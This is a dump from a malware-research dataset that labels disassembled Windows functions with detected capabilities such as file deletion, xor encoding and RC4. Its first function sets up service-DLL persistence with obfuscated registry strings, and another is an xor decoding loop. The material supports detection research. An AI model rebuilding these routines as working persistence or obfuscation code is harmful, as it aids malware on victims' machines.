joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100149f0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Uuqdc_GgcdlhhoHfm
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Documents_and_SettingsTemp.log
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10014910
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10014970
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x1001f354]
push str._RqmbzdlDjn_p___sTEsq__ggd_ohd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p___sTEsq__ggd_ohd
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x1001f358]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001f36c]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10014910
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10014970
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x43b660
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
and edx, ecx
call fcn.0043b695
sub edx, 0x3baa53dd
sub edx, ecx
add ecx, ecx
xor dword [eax], edi
and ecx, ecx
inc eax
dec edx
inc ecx
add edx, edx
cmp eax, ebx
jne fcn.0043b660
dec ecx
and ecx, ecx
ret
Function at 0x405bf0
Capabilities:
Delete file
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x6d0
lea esi, [esp + 0xa0]
call fcn.00405c0b
Function at 0x418bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, edx
mov edx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
xor esi, esi
lea edx, [eax + edx*2]
movzx ebx, byte [eax + 1]
cmp byte [eax], ch
lea eax, [eax + 2]
lea edi, [esi + ebx]
jne 0x418c00
cmp esi, edi
ja 0x418c68
cmp edi, dword [esp + 0x1c]
ja 0x418c7b
add esi, dword [esp + 0x18]
nop word [eax + eax]
test ebx, ebx
je 0x418c02
dec ebx
cmp byte [esi], cl
lea esi, [esi + 1]
jne 0x418bf0
jmp 0x418c5f
ja 0x418c08
cmp eax, edx
mov esi, edi
jne 0x418bc3
mov edi, dword [esp + 0x24]
movzx ecx, cx
mov al, 1
add edi, ebp
nop word cs:[eax + eax]
nop dword [eax]
movzx edx, byte [ebp]
lea esi, [ebp + 1]
test dl, dl
js 0x418c40
mov ebp, esi
sub ecx, edx
jns 0x418c57
jmp 0x418c61
cmp esi, edi
je 0x418c90
movzx esi, byte [ebp + 1]
and edx, 0x7f
add ebp, 2
shl edx, 8
or edx, esi
sub ecx, edx
js 0x418c61
xor al, 1
cmp ebp, edi
jne 0x418c20
jmp 0x418c61
xor eax, eax
and al, 1
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
mov edx, edi
push 0xddb34c
call fcn.00455930
add esp, 4
ud2
mov edx, dword [esp + 0x1c]
mov ecx, edi
push 0xddb34c
call fcn.00455720
add esp, 4
ud2
mov ecx, str.called__Option::unwrap____on_a__None__value_rustc_e20cb7702117f1ad8127a16406ba9edd230c4f65library_alloc_srccollections_btree_navigate.rs
mov edx, 0x2b
push 0xddb33c
call fcn.00455790
add esp, 4
ud2
Function at 0x428bb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
mov eax, dword [0xdec05c]
test eax, eax
je 0x428c54
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jb 0x428bd3
cmp byte [eax + 4], 0
mov esi, eax
jne 0x428c4d
mov eax, dword [0xdec05c]
test eax, eax
je 0x428c73
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
je 0x428c8d
mov esi, eax
test eax, eax
jne 0x428c47
movzx eax, byte [0xdec9c0]
mov eax, dword [0xdeca40]
test eax, eax
jne 0x428c1a
call dword [sym.imp.kernel32.dll_GetProcessHeap]
test eax, eax
je 0x428c9f
mov dword [0xdeca40], eax
push 8
push 0
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x428c9f
mov dword [eax], 0xdec05c
mov byte [eax + 4], 0
mov esi, eax
mov eax, dword [0xdec05c]
test eax, eax
je 0x428c93
dec eax
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov word [esi + 4], 1
add esi, 5
mov eax, esi
pop esi
ret
mov ecx, 0xdec05c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jae 0x428bcb
jmp 0x428bd3
mov ecx, 0xdec05c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
jne 0x428bf1
xor esi, esi
mov eax, esi
pop esi
ret
mov ecx, 0xdec05c
call fcn.00456600
jmp 0x428c3f
mov ecx, 4
mov edx, 8
call fcn.00455560
ud2

Function at 0x4293c0
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
sub esp, 0x34
mov eax, dword [esp + 0x40]
mov esi, ecx
mov ecx, dword [esp + 0x44]
mov edi, edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0x103
lea edx, [esp + 4]
push 0
push 0
push ecx
push eax
push edx
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x429414
push 0xffffffffffffffff
push edi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [esp + 4]
cmp eax, 0x103
je 0x429437
test eax, eax
js 0x429423
mov eax, dword [esp + 8]
mov dword [esi + 4], eax
mov al, 4
jmp 0x42942f
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov dword [esi + 4], eax
xor eax, eax
mov byte [esi], al
add esp, 0x34
pop esi
pop edi
ret
mov eax, esp
mov dword [esp + 0x1c], 0xde271c
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0xc], 0
mov byte [esp + 0x10], 0
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x28], 0
push eax
push ecx
push edx
call fcn.00427cc0
add esp, 0xc
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
call fcn.00427e20
mov ecx, 7
int 0x29
ud2
Function at 0x429930
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
mov eax, dword [0xdec03c]
test eax, eax
je 0x429952
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jb 0x429968
cmp dword [eax + 4], 0
je 0x429968
add eax, 8
pop esi
ret
mov ecx, 0xdec03c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jae 0x429947
mov eax, dword [0xdec03c]
test eax, eax
je 0x4299ee
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
je 0x429a08
mov esi, eax
test eax, eax
jne 0x4299d7
movzx eax, byte [0xdec9c0]
mov eax, dword [0xdeca40]
test eax, eax
jne 0x4299a7
call dword [sym.imp.kernel32.dll_GetProcessHeap]
test eax, eax
je 0x429a18
mov dword [0xdeca40], eax
push 0x10
push 0
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x429a18
mov dword [eax], 0xdec03c
mov dword [eax + 4], 0
mov esi, eax
mov eax, dword [0xdec03c]
test eax, eax
je 0x429a0c
dec eax
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [esi + 4], 1
mov dword [esi + 8], 0
lea eax, [esi + 8]
mov byte [esi + 0xc], 0
pop esi
ret
mov ecx, 0xdec03c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
jne 0x429982
xor eax, eax
pop esi
ret
mov ecx, 0xdec03c
call fcn.00456600
jmp 0x4299cf
mov ecx, 4
mov edx, 0x10
call fcn.00455560
ud2

Function at 0x429c30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
mov eax, dword [0xdec04c]
test eax, eax
je 0x429c58
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jb 0x429c6e
cmp dword [eax + 4], 0
mov edi, eax
je 0x429c6e
add edi, 8
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec04c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jae 0x429c48
mov eax, dword [0xdec04c]
test eax, eax
je 0x429d22
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
je 0x429d3c
mov esi, eax
test eax, eax
jne 0x429ce9
movzx eax, byte [0xdec9c0]
mov eax, dword [0xdeca40]
test eax, eax
jne 0x429cb5
call dword [sym.imp.kernel32.dll_GetProcessHeap]
test eax, eax
je 0x429d4f
mov dword [0xdeca40], eax
push 0xc
push 0
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x429d4f
mov dword [eax], 0xdec04c
mov dword [eax + 4], 0
mov esi, eax
mov eax, dword [0xdec04c]
test eax, eax
je 0x429d43
dec eax
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, dword [esi + 8]
cmp dword [esi + 4], 0
lea edi, [esi + 8]
mov dword [esi + 4], 1
mov dword [esi + 8], 0
je 0x429c53
test ecx, ecx
je 0x429c53
lock dec dword [ecx]
jne 0x429c53
call fcn.00408df0
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec04c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
jne 0x429c8c
xor edi, edi
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec04c
call fcn.00456600
jmp 0x429ce1
mov ecx, 4
mov edx, 0xc
call fcn.00455560
ud2
Function at 0x42a920
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, esp
mov dword [esi + 0x28], ebp
mov dword [esi + 0x2c], esp
mov dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x34], 0x4467f0
lea eax, [esi + 0x30]
mov ecx, dword fs:[0]
mov dword [esi + 0x30], ecx
mov dword fs:[0], eax
lea eax, [esi + 8]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
push eax
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x42aa38
mov eax, dword [esi + 8]
mov ebx, dword [esi + 0xc]
mov dword [esi], eax
call fcn.0042aad0
mov ecx, eax
or ecx, edx
je 0x42aa1f
push edx
push eax
push ebx
push dword [esi]
mov edi, edx
mov dword [esi + 0x20], edx
mov dword [esi + 0x1c], eax
call fcn.00447030
mov ecx, edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 4], edx
mov dword [esi + 0x24], eax
imul ecx, eax
mul edi
add edx, ecx
mov ecx, edi
imul ecx, dword [esi + 4]
add ecx, edx
mov edx, dword [esi]
sub edx, eax
sbb ebx, ecx
mov eax, edx
imul ecx, ebx, 0x3b9aca00
mov ebx, 0x3b9aca00
mul ebx
add edx, ecx
push dword [esi + 0x20]
push edi
push edx
push eax
call fcn.00447030
mov ebx, eax
mov eax, dword [esi + 0x24]
mov ecx, edx
mov edx, 0x3b9aca00
mul edx
mov edi, eax
imul eax, dword [esi + 4], 0x3b9aca00
add eax, edx
add edi, ebx
adc eax, ecx
push 0
push 0x3b9aca00
push eax
push edi
call fcn.00447030
imul ecx, eax, 0xc4653600
add ecx, edi
mov edi, dword [esi + 0x30]
mov dword fs:[0], edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, str.attempt_to_divide_by_zero_rustc_e20cb7702117f1ad8127a16406ba9edd230c4f65librarycore_src_strpattern.rs
mov edx, 0x19
push 0xde1fc4
call fcn.00455790
add esp, 4
ud2
call sub.kernel32.dll_GetLastError
mov dword [esi + 0x18], eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x38], 0
lea eax, [esi + 0x14]
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
push 0xde2ecc
push 0xde0a5c
push eax
call fcn.00455a40
add esp, 0xc
ud2
Function at 0x430f60
Capabilities:
Read file on windows

Disassembly:
push edi
push esi
sub esp, 0x34
mov eax, dword [esp + 0x40]
mov esi, ecx
mov ecx, dword [esp + 0x44]
mov edi, edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0x103
lea edx, [esp + 4]
push 0
push 0
push ecx
push eax
push edx
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x430fad
push 0xffffffffffffffff
push edi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [esp + 4]
cmp eax, 0xc0000011
jne 0x430fbd
mov dword [esi + 4], 0
jmp 0x430fcf
cmp eax, 0x103
je 0x430feb
test eax, eax
js 0x430fd8
mov eax, dword [esp + 8]
mov dword [esi + 4], eax
mov byte [esi], 4
add esp, 0x34
pop esi
pop edi
ret
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov byte [esi], 0
mov dword [esi + 4], eax
add esp, 0x34
pop esi
pop edi
ret
mov eax, esp
mov dword [esp + 0x1c], 0xde271c
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0xc], 0
mov byte [esp + 0x10], 0
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x28], 0
push eax
push ecx
push edx
call fcn.00427cc0
add esp, 0xc
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
call fcn.00427e20
mov ecx, 7
int 0x29
ud2
Function at 0x434b20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
mov eax, dword [0xdec06c]
test eax, eax
je 0x434b48
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jb 0x434b5e
cmp dword [eax + 4], 0
mov edi, eax
je 0x434b5e
add edi, 8
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec06c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 2
jae 0x434b38
mov eax, dword [0xdec06c]
test eax, eax
je 0x434c12
dec eax
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
je 0x434c2c
mov esi, eax
test eax, eax
jne 0x434bd9
movzx eax, byte [0xdec9c0]
mov eax, dword [0xdeca40]
test eax, eax
jne 0x434ba5
call dword [sym.imp.kernel32.dll_GetProcessHeap]
test eax, eax
je 0x434c3f
mov dword [0xdeca40], eax
push 0xc
push 0
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x434c3f
mov dword [eax], 0xdec06c
mov dword [eax + 4], 0
mov esi, eax
mov eax, dword [0xdec06c]
test eax, eax
je 0x434c33
dec eax
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, dword [esi + 8]
cmp dword [esi + 4], 0
lea edi, [esi + 8]
mov dword [esi + 4], 1
mov dword [esi + 8], 0
je 0x434b43
test ecx, ecx
je 0x434b43
lock dec dword [ecx]
jne 0x434b43
call fcn.00413700
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec06c
call fcn.00456600
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp eax, 1
jne 0x434b7c
xor edi, edi
mov eax, edi
pop esi
pop edi
ret
mov ecx, 0xdec06c
call fcn.00456600
jmp 0x434bd1
mov ecx, 4
mov edx, 0xc
call fcn.00455560
ud2
Function at 0x43c830
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov esi, ecx
lea ecx, [esp + 0xc]
push dword [esp + 0x38]
call fcn.0042a270
add esp, 4
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
test edx, edx
je 0x43c895
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], ecx
mov ecx, esp
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], eax
call fcn.0043c760
mov edi, dword [esp]
test edi, edi
je 0x43c8a4
mov ebx, dword [esp + 4]
mov ebp, dword [esp + 8]
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x43c8b9
mov dword [esi], edi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebp
jmp 0x43c8b1
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp], 0
mov ecx, esp
call fcn.0042a460
mov dword [esi], 0
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
test ebx, ebx
mov dword [esi], 0
je 0x43c8b1
push edi
push 0
push dword [0xdeca40]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x43c8b1
Function at 0x43e820
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x446af0
mov esi, edx
mov edi, ecx
mov eax, dword fs:[0]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
mov dword fs:[0], eax
movzx eax, byte [0xdec9c0]
mov eax, dword [0xdeca40]
test eax, eax
jne 0x43e873
call dword [sym.imp.kernel32.dll_GetProcessHeap]
test eax, eax
je 0x43e92d
mov dword [0xdeca40], eax
push 8
push 0
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x43e92d
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 4], eax
push 0
push 0x10000
push ebx
push 0x43e9c0
push esi
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
test eax, eax
je 0x43e8b5
mov dword [edi + 4], eax
mov byte [edi], 4
jmp 0x43e91c
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x20], eax
push eax
mov dword [ebp - 0x24], ecx
call dword [ecx]
add esp, 4
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x28]
cmp dword [eax + 4], 0
je 0x43e902
cmp dword [eax + 8], 9
jae 0x43e8ed
mov eax, dword [ebp - 0x20]
jmp 0x43e8f3
mov eax, dword [ebp - 0x20]
mov eax, dword [eax - 4]
push eax
push 0
push dword [0xdeca40]
call dword [sym.imp.kernel32.dll_HeapFree]
push edi
push 0
push dword [0xdeca40]
call dword [sym.imp.kernel32.dll_HeapFree]
call sub.kernel32.dll_GetLastError
mov byte [esi], 0
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 4
mov edx, 8
mov dword [ebp - 0x10], 0
call fcn.00455560
ud2
Function at 0x43ee60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1038
call fcn.00447000
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x446b20
mov edi, ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x24], edx
lea esi, [ebp - 0x1044]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
push 0x1000
push 0
push esi
call fcn.00449710
add esp, 0xc
xorps xmm0, xmm0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push 0x435ea0
push eax
push 0x1000
push esi
push edi
call dword [sym.imp.kernel32.dll_ReadFileEx]
test eax, eax
je 0x43efb4
mov ebx, dword [sym.imp.kernel32.dll_SleepEx]
mov dword [ebp - 0x20], edi
push 1
push 0xffffffffffffffff
call ebx
cmp dword [ebp - 0x30], 0
je 0x43eeea
cmp dword [ebp - 0x2c], 0
jne 0x43efc3
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x43efc3
cmp esi, 0x1000
ja 0x43efff
xor edi, edi
nop dword [eax]
mov eax, esi
sub eax, edi
jb 0x43efe5
xorps xmm0, xmm0
lea edx, [ebp - 0x30]
lea ecx, [ebp + edi - 0x1044]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], edx
push 0x435ea0
lea edx, [ebp - 0x44]
push edx
push eax
push ecx
push dword [ebp - 0x24]
call dword [sym.imp.kernel32.dll_WriteFileEx]
test eax, eax
je 0x43efbb
nop dword [eax]
push 1
push 0xffffffffffffffff
call ebx
cmp dword [ebp - 0x30], 0
je 0x43ef60
cmp dword [ebp - 0x2c], 0
jne 0x43efc0
add edi, dword [ebp - 0x28]
cmp edi, esi
jne 0x43ef20
xorps xmm0, xmm0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], eax
push 0x435ea0
lea eax, [ebp - 0x44]
push eax
push 0x1000
lea eax, [ebp - 0x1044]
push eax
mov edi, dword [ebp - 0x20]
push edi
call dword [sym.imp.kernel32.dll_ReadFileEx]
test eax, eax
jne 0x43eeea
call sub.kernel32.dll_GetLastError
jmp 0x43efc3
call sub.kernel32.dll_GetLastError
mov edi, dword [ebp - 0x20]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
push edi
call esi
push dword [ebp - 0x24]
call esi
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x1038
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], 0
mov ecx, edi
mov edx, esi
push 0xde2954
call fcn.00455930
add esp, 4
jmp 0x43f01a
mov dword [ebp - 0x10], 0
mov ecx, esi
mov edx, 0x1000
push 0xde2954
call fcn.00455720
add esp, 4
ud2
Function at 0x43f110
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x50
mov esi, esp
mov dword [esi + 0x38], ebp
mov dword [esi + 0x3c], esp
mov dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x44], 0x446b40
lea eax, [esi + 0x40]
xorps xmm0, xmm0
mov ecx, dword fs:[0]
mov dword [esi + 0x40], ecx
mov dword fs:[0], eax
movaps xmmword [esi + 0x10], xmm0
lea eax, [esi + 0x10]
push 0x10
push eax
call dword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x43f174
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call sub.kernel32.dll_GetLastError
mov edx, esi
lea ecx, [esi + 8]
mov dword [esi + 0x20], 0xde2a7c
mov dword [esi + 0x24], 1
mov dword [esi + 0x30], 0
mov byte [esi], 0
mov dword [esi + 4], eax
mov dword [esi + 0x48], 0
mov dword [esi + 8], edx
mov dword [esi + 0x28], ecx
lea ecx, [esi + 0x20]
mov edx, 0xde2aa8
mov dword [esi + 0xc], 0x42f100
mov dword [esi + 0x2c], 1
call fcn.00455610
ud2

Function at 0x4409b0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
push esi
sub esp, 0x18
cmp dword [edx], 0
mov edi, edx
jne 0x440a7c
mov ebx, dword [edi + 0xc]
mov esi, ecx
mov edx, dword [ebx + 4]
test edx, edx
jne 0x4409da
mov eax, dword [ebx + 8]
xor edx, edx
lea ecx, [eax + 0xf]
cmp ecx, 0xf
jbe 0x440a4d
mov eax, dword [ebx + 8]
cmp edx, eax
je 0x440a65
mov ecx, dword [edi + 8]
sub edx, eax
add eax, dword [ebx]
mov dword [esp], 0
mov ebx, esp
push ecx
push ebx
push edx
push eax
push dword [edi + 0x10]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x440a14
mov eax, dword [esp]
mov ecx, 2
test eax, eax
jne 0x440a31
jmp 0x440a25
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
je 0x440a2c
cmp eax, 0x6d
jne 0x440a42
mov word [esi], 4
jmp 0x440a3b
mov ecx, 1
mov dword [edi], ecx
mov dword [edi + 4], eax
mov word [esi], 0x104
add esp, 0x18
pop esi
pop edi
pop ebx
ret
mov dword [esi], 0
mov dword [esi + 4], eax
jmp 0x440a3b
mov edx, eax
mov ecx, ebx
push 0x10
call fcn.004554c0
add esp, 4
mov edx, dword [ebx + 4]
mov eax, dword [ebx + 8]
cmp edx, eax
jne 0x4409e5
mov ecx, ebx
push 1
call fcn.004554c0
add esp, 4
mov edx, dword [ebx + 4]
mov eax, dword [ebx + 8]
jmp 0x4409e5
mov edx, esp
mov ecx, edi
mov dword [esp], 0
call fcn.004569e0
ud2

Function at 0x44753c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x44757b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44757b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44757b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44757b
cmp dword [ecx + 0x74], 0xe
jbe 0x44757b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret